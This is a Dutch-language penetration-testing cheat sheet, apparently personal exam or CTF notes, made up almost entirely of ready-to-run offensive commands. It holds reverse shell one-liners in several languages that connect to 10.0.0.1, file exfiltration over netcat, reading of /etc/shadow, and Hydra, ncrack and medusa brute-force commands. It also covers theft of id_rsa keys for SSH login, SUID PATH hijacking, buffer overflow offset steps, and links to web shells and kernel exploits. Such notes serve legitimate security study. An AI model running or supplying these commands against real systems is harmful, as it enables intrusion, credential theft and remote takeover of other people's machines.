Netwerk enumeratie
netdiscover
nbtscan 10.0.1.0/24
nmap -sn 10.0.0.0/16
nmap -p- 10.0.1.150 -sV -O -A
Enumeratie
sudo toegestane commando’s: sudo -l
luisterende poorten: netstat -lntp
eigenaar poort: lsof -i:4444
cat /etc/passwd
cat /etc/shadow
windows versie bepalen: systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
website
nikto -h http://1.2.3.4
nikto -host $targetip -port $targetport
dirb http://1.2.3.4 <wordlist>
dirbuster
gobuster dir -u http://1.2.3.4 -w <wordlist> -x <extensie>,<extensie>
dirsearch.py -w <wordlist> -u $targetip -e <extenstie>
wpscan –url http://1.2.3.4:8080/
Samba
nmap -p 445 –script=smb-enum-shares.nse,smb-enum-users.nse 1.2.3.4
smbclient //1.2.3.4/<share>
smbget -R smb://1.2.3.4/<share>
Bestanden overdragen tussen machines
NC
Lokaal: nc -nvlp 4444 > file.txt
Remote: nc -nv 1.2.3.4 4444 < file.txt
php
php -S localhost:4444
python
python -m SimpleHTTPServer 4444
python3 -m http.server 4444
wget http://1.2.3.4:4444/file.txt
curl http://1.2.3.4:4444 > file.txt
Reverse shell one-liners
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc -e /bin/sh 10.0.0.1 1234
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
perl -e ‘use
Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getproto
byname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&
S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’
python -c ‘import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STR
EAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’
JAVA: r = Runtime.getRuntime() p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[]) p.waitFor()
Shell upgrade naar interactive TTY
python -c ‘import pty; pty.spawn(“/bin/sh”)’
/bin/sh -i
echo os.system(‘/bin/bash’)
perl —e ‘exec “/bin/sh”;’
perl: exec “/bin/sh”;
ruby: exec “/bin/sh”
lua: os.execute(‘/bin/sh’)
Shell vanuit applicaties
IRB: exec “/bin/sh”
VI: !bash
VI: set shell=/bin/bash:shell
NMAP: !sh
Bruteforce tools
hydra -l root -P password-file.txt 1.2.3.4 ssh
hydra -P password-file 1.2.3.4 snmp
ncrack -vv –user gebruiker -P password-file.txt rdp://1.2.3.4
medusa -h 1.2.3.4 -u admin -P password-file.txt -M http -m DIR:/admin -T 10
Verzamelen gegevens van websites
theharvester -d 1-0-1.nl -b google > google.txt
cewl http://www.site.nl > site.txt
cewl –depth 0 -w output.txt https://en.wikipedia.org/wiki/Billy_Madison
python wordcollector.py http://www.site.nl
Woordenlijst maken
tr -sc'[A-Z][a-z]’ ‘[\012*]’ < input | sort | uniq > output
mp64 bla?a?a
crunch 6 6 01234567890ABCDEF -o crunch1.txt
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha
crunch 8 8 -t ,@@^^%%%
@ = lower case alpha
, = upper case alpha
& = numeric characters
^ = special characters including space
Buffer overflow punt bepalen
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2700
/pattern_offset.rb -l 2700 -q 3969443
Python
buffer = “A” * 2606 + “B” * 4 + “C” * 90
Bad characters bepalen
Stuur reeks van 0x00 tot 0xff en kijk waar er wordt afgebroken.
Debugging van toepassingen
edb –run <programma>
ghydra
Tips
FTP
ProFTPD SITE CPFR CPTO
Hiermee is het binnen proftpd 1.3.5 mogelijk om bestanden van het OS te kopiëren.
Gebruik om rsa_id te kopiëren naar een plek waar je er bij kunt.
SSH
Als je id_rsa (~/.ssh/id_rsa) te pakken kunt krijgen van een gebruiker kun je dit gebruiken om zonder wachtwoord in te loggen via SSH.
chmod 600 id_rsa
ssh -i id_rsa user@1.2.3.4
SUID bit
Programma met suid bit gezet gevonden?
Kijk wat het programma doet, kun je vanuit het programma naar een shell?
Zo niet, kijk of het programma gebruik maakt van externe toepassingen en daarbij geen absolute paden gebruikt. Door de PATH variabele aan te passen kun je commando’s faken met je eigen script.
Voorbeeld: export PATH=/tmp:$PATH
zorgt er voor dat toepassingen eerst in /tmp gaan kijken voor hun commando’s.
als je daar een script (met /bin/sh er in) als commando opgeeft wordt dat commando uitgevoerd mits het de juiste naam heeft.
URL’s
https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
https://github.com/flozz/p0wny-shell/raw/master/shell.php
https://www.kernel-exploits.com
https://github.com/b374k/b374k/blob/v3.2.3/b374k.min.php
https://highon.coffee/blog/lfi-cheat-sheet/
https://github.com/SecWiki/windows-kernel-exploits
https://github.com/superkojiman/onetwopunch
https://github.com/Ganapati/RsaCtfTool
https://sparta.secforce.com/
https://github.com/maurosoria/dirsearch
http://www.fuzzysecurity.com/tutorials/16.html
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheatsheet
https://www.perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1